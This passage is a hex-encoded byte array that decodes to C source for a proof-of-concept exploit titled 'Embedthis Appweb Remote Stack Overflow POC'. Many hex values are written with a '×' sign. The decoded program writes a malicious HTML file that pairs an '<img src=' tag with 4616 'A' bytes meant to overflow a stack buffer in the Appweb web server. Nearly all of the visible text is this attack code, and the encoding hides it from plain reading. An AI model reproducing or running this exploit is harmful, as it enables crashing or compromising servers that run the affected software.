    0×20, 0×20, 0×20, 0×20, 0×68, 0×65, 0x5F, 0×61, 0×64, 0x2D, 0x3E, 0×73, 0×64, 0×20, 0x3D, 0×20,
    0×30, 0×78, 0×34, 0×34, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x2F, 0x2F, 0×74,
    0×68, 0×69, 0×65, 0×72, 0×64, 0×20, 0×73, 0×74, 0×72, 0×75, 0×63, 0×74, 0×75, 0×72, 0×65, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x2F, 0x2F, 0×22, 0x5C, 0×78, 0×34, 0×32, 0x5C, 0×78,
    0×34, 0×46, 0x5C, 0×78, 0×34, 0×34, 0x5C, 0×78, 0×35, 0×39, 0×22, 0x0D, 0x0A, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×62, 0x6F, 0x5F, 0×64, 0×79, 0x2D, 0x3E, 0×73, 0×62, 0×20, 0x3D, 0×20, 0×30,
    0×78, 0×34, 0×32, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×62, 0x6F, 0x5F, 0×64,
    0×79, 0x2D, 0x3E, 0×73, 0x6F, 0×20, 0x3D, 0×20, 0×30, 0×78, 0×34, 0×46, 0x3B, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×62, 0x6F, 0x5F, 0×64, 0×79, 0x2D, 0x3E, 0×73, 0×44, 0×20, 0x3D,
    0×20, 0×30, 0×78, 0×34, 0×34, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×62, 0x6F,
    0x5F, 0×64, 0×79, 0x2D, 0x3E, 0×73, 0×79, 0×20, 0x3D, 0×20, 0×30, 0×78, 0×35, 0×39, 0x3B, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×46, 0×49, 0x4C, 0×45, 0×20, 0x2A, 0×66, 0x3B, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×66, 0×20, 0x3D, 0×20, 0×66, 0x6F, 0×70, 0×65, 0x6E,
    0×28, 0×66, 0x6E, 0×61, 0x6D, 0×65, 0x2C, 0×20, 0×22, 0×77, 0×22, 0×29, 0x3B, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×69, 0×66, 0×28, 0×20, 0×66, 0×20, 0x3D, 0x3D, 0×20, 0x4E, 0×55,
    0x4C, 0x4C, 0×29, 0×20, 0x7B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×65, 0×78, 0×69,
    0×74, 0×28, 0x2D, 0×31, 0×29, 0x3B, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x7D, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×69, 0x6E, 0×74, 0×33, 0×32, 0x5F, 0×74, 0×20, 0x6F,
    0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x3D, 0×20, 0×30, 0x3B, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x0D, 0x0A,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D,
    0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2C, 0×20, 0×22, 0x3C, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B,
    0×20, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74,
    0×20, 0x2B, 0x3D, 0×20, 0×31, 0x3B, 0×20, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72,
    0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0x2C, 0×20,
    0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0×29, 0×29, 0x3B, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D,
    0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0×29, 0x3B, 0×20,
    0×20, 0×20, 0×20, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63,
    0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66,
    0×73, 0×65, 0×74, 0x2C, 0×20, 0×22, 0x3E, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0×20, 0x0D, 0x0A,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20,
    0×31, 0x3B, 0×20, 0×20, 0×20, 0×20, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D,
    0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B,
    0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×22, 0x3C, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B,
    0x3D, 0×20, 0×31, 0x3B, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x0D, 0x0A,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D,
    0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×68,
    0×65, 0x5F, 0×61, 0×64, 0x2C, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×68, 0×65, 0x5F,
    0×61, 0×64, 0×29, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66,
    0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×68, 0×65,
    0x5F, 0×61, 0×64, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D,
    0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66,
    0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×22, 0x3E, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0×20, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D,
    0×20, 0×31, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70,
    0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73,
    0×65, 0×74, 0x2C, 0×20, 0×22, 0x3C, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0×20, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31,
    0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28,
    0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74,
    0x2C, 0×20, 0×22, 0x5C, 0x5C, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31, 0x3B, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65,
    0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20,
    0×68, 0×65, 0x5F, 0×61, 0×64, 0x2C, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×68, 0×65,
    0x5F, 0×61, 0×64, 0×29, 0×29, 0x3B, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F,
    0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28,
    0×68, 0×65, 0x5F, 0×61, 0×64, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D,
    0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B,
    0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×22, 0x3E, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B,
    0x3D, 0×20, 0×31, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63,
    0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66,
    0×73, 0×65, 0×74, 0x2C, 0×20, 0×22, 0x3C, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31,
    0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28,
    0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74,
    0x2C, 0×20, 0×62, 0x6F, 0x5F, 0×64, 0×79, 0x2C, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28,
    0×62, 0x6F, 0x5F, 0×64, 0×79, 0×29, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66,
    0×28, 0×62, 0x6F, 0x5F, 0×64, 0×79, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72,
    0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×22, 0x3E, 0×22, 0x2C, 0×20, 0×31, 0×29,
    0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20,
    0x2B, 0x3D, 0×20, 0×31, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×75, 0×69, 0x6E,
    0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0×68, 0×69, 0×74, 0x5B, 0x5D, 0×20, 0x3D, 0x7B, 0×20, 0×30,
    0×78, 0×33, 0×43, 0x2C, 0×30, 0×78, 0×36, 0×39, 0x2C, 0×30, 0×78, 0×36, 0×44, 0x2C, 0×30, 0×78,
    0×36, 0×37, 0x2C, 0×30, 0×78, 0×32, 0×30, 0x2C, 0×30, 0×78, 0×37, 0×33, 0x2C, 0×30, 0×78, 0×37,
    0×32, 0x2C, 0×30, 0×78, 0×36, 0×33, 0x2C, 0×30, 0×78, 0×33, 0×44, 0×20, 0x7D, 0x3B, 0x0D, 0x0A,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D,
    0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×73,
    0×68, 0×69, 0×74, 0x2C, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×73, 0×68, 0×69, 0×74,
    0×29, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65,
    0×74, 0×20, 0x2B, 0x3D, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×73, 0×68, 0×69, 0×74,
    0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×73, 0×65, 0×74,
    0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65,
    0×74, 0x2C, 0×20, 0×30, 0×78, 0×32, 0×32, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31, 0x3B,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×73, 0×65, 0×74, 0×28, 0x6D,
    0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C,
    0×20, 0×30, 0×78, 0×34, 0×31, 0x2C, 0×20, 0×34, 0×36, 0×31, 0×36, 0×29, 0x3B, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×34,
    0×36, 0×31, 0×36, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×73,
    0×65, 0×74, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66,
    0×73, 0×65, 0×74, 0x2C, 0×20, 0×30, 0×78, 0×32, 0×32, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0x0D, 0x0A,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20,
    0×31, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79,
    0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65,
    0×74, 0x2C, 0×20, 0×22, 0x3E, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31, 0x3B, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65,
    0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20,
    0×22, 0x3C, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31, 0x3B, 0x0D, 0x0A, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75,
    0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×22, 0x5C, 0x5C,
    0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66,
    0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66,
    0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×62, 0x6F, 0x5F, 0×64, 0×79,
    0x2C, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×62, 0x6F, 0x5F, 0×64, 0×79, 0×29, 0×29,
    0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20,
    0x2B, 0x3D, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×62, 0x6F, 0x5F, 0×64, 0×79, 0×29,
    0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28,
    0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74,
    0x2C, 0×20, 0×22, 0x3E, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31, 0x3B, 0x0D, 0x0A,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D,
    0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×22,
    0x3C, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31, 0x3B, 0x0D, 0x0A, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75,
    0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×22, 0x5C, 0x5C,
    0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66,
    0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×31, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79, 0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66,
    0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0x2C, 0×20, 0×68, 0×74, 0x5F, 0x6D, 0x6C,
    0x2C, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0×29, 0×29,
    0x3B, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74,
    0×20, 0x2B, 0x3D, 0×20, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×68, 0×74, 0x5F, 0x6D, 0x6C,
    0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×63, 0×70, 0×79,
    0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2B, 0x6F, 0×66, 0×66, 0×73, 0×65,
    0×74, 0x2C, 0×20, 0×22, 0x3E, 0×22, 0x2C, 0×20, 0×31, 0×29, 0x3B, 0×20, 0×20, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0x6F, 0×66, 0×66, 0×73, 0×65, 0×74, 0×20, 0x2B, 0x3D, 0×20, 0×32,
    0x3B, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×66, 0×77, 0×72, 0×69, 0×74, 0×65,
    0×28, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x2C, 0×20, 0x6F, 0×66, 0×66, 0×73,
    0×65, 0×74, 0×20, 0x2C, 0×20, 0×31, 0x2C, 0×20, 0×66, 0×29, 0x3B, 0×20, 0x0D, 0x0A, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×66, 0×77, 0×72, 0×69, 0×74, 0×65, 0×28, 0×22, 0x5C, 0×78, 0×30, 0×30,
    0×22, 0x2C, 0×20, 0×31, 0x2C, 0×20, 0×31, 0x2C, 0×20, 0×66, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×70, 0×72, 0×69, 0x6E, 0×74, 0×66, 0×28, 0×22, 0×46, 0×69, 0x6C, 0×65,
    0×20, 0×44, 0x6F, 0x6E, 0×65, 0×21, 0x5C, 0x6E, 0×22, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20,
    0×20, 0x7D, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×69, 0x6E, 0×74, 0×20, 0x6D, 0×61, 0×69,
    0x6E, 0×28, 0×69, 0x6E, 0×74, 0×20, 0×61, 0×72, 0×67, 0×63, 0x2C, 0×20, 0×63, 0×68, 0×61, 0×72,
    0×20, 0x2A, 0×61, 0×72, 0×67, 0×76, 0x5B, 0x5D, 0×29, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0x7B,
    0×20, 0×20, 0×63, 0×68, 0×61, 0×72, 0×20, 0x2A, 0×66, 0x6E, 0×61, 0x6D, 0×65, 0×20, 0x3D, 0×20,
    0×61, 0×72, 0×67, 0×76, 0x5B, 0×31, 0x5D, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×73, 0×79, 0×73, 0×74, 0×65, 0x6D, 0×28, 0×22, 0×43, 0x4C, 0×53, 0×22, 0×29, 0x3B, 0×20,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×66, 0×70, 0×72, 0×69, 0x6E, 0×74, 0×66,
    0×28, 0×73, 0×74, 0×64, 0x6F, 0×75, 0×74, 0×20, 0x2C, 0×20, 0×22, 0x3A, 0x3A, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x3A, 0x3A, 0x5C, 0x6E, 0×22, 0×29, 0x3B, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×66, 0×70, 0×72, 0×69, 0x6E, 0×74, 0×66, 0×28, 0×73, 0×74,
    0×64, 0x6F, 0×75, 0×74, 0×20, 0x2C, 0×20, 0×22, 0×45, 0x6D, 0×62, 0×65, 0×64, 0×74, 0×68, 0×69,
    0×73, 0×20, 0×41, 0×70, 0×70, 0×77, 0×65, 0×62, 0×20, 0×52, 0×65, 0x6D, 0x6F, 0×74, 0×65, 0×20,
    0×53, 0×74, 0×61, 0×63, 0x6B, 0×20, 0x4F, 0×76, 0×65, 0×72, 0×66, 0x6C, 0x6F, 0×77, 0×20, 0×50,
    0x4F, 0×43, 0x5C, 0x6E, 0×22, 0×29, 0x3B, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×66, 0×70, 0×72, 0×69, 0x6E, 0×74, 0×66, 0×28, 0×73, 0×74, 0×64, 0x6F, 0×75, 0×74, 0×20,
    0x2C, 0×20, 0×22, 0×41, 0x6C, 0x6C, 0×20, 0×43, 0×72, 0×65, 0×64, 0×69, 0×74, 0×73, 0x3A, 0×66,
    0x6C, 0×30, 0×20, 0×66, 0x6C, 0×30, 0×77, 0x5C, 0x6E, 0×22, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×66, 0×70, 0×72, 0×69, 0x6E, 0×74, 0×66, 0×28, 0×73, 0×74, 0×64,
    0x6F, 0×75, 0×74, 0×20, 0x2C, 0×20, 0×22, 0x3A, 0x3A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0x3A, 0x3A, 0x5C, 0x6E, 0×22, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×69, 0×66, 0×28, 0×61, 0×72, 0×67, 0×63, 0×20, 0x3C, 0×20, 0×32, 0×29, 0×20, 0x7B,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×70, 0×72, 0×69, 0x6E, 0×74, 0×66, 0×28,
    0×22, 0×55, 0×73, 0×61, 0×67, 0×65, 0×20, 0×69, 0×73, 0×20, 0×25, 0×73, 0×20, 0×66, 0×69, 0x6C,
    0×65, 0x6E, 0×61, 0x6D, 0×65, 0x2E, 0×68, 0×74, 0x6D, 0x6C, 0x5C, 0x6E, 0×22, 0x2C, 0×20, 0×61,
    0×72, 0×67, 0×76, 0x5B, 0×30, 0x5D, 0×29, 0x3B, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
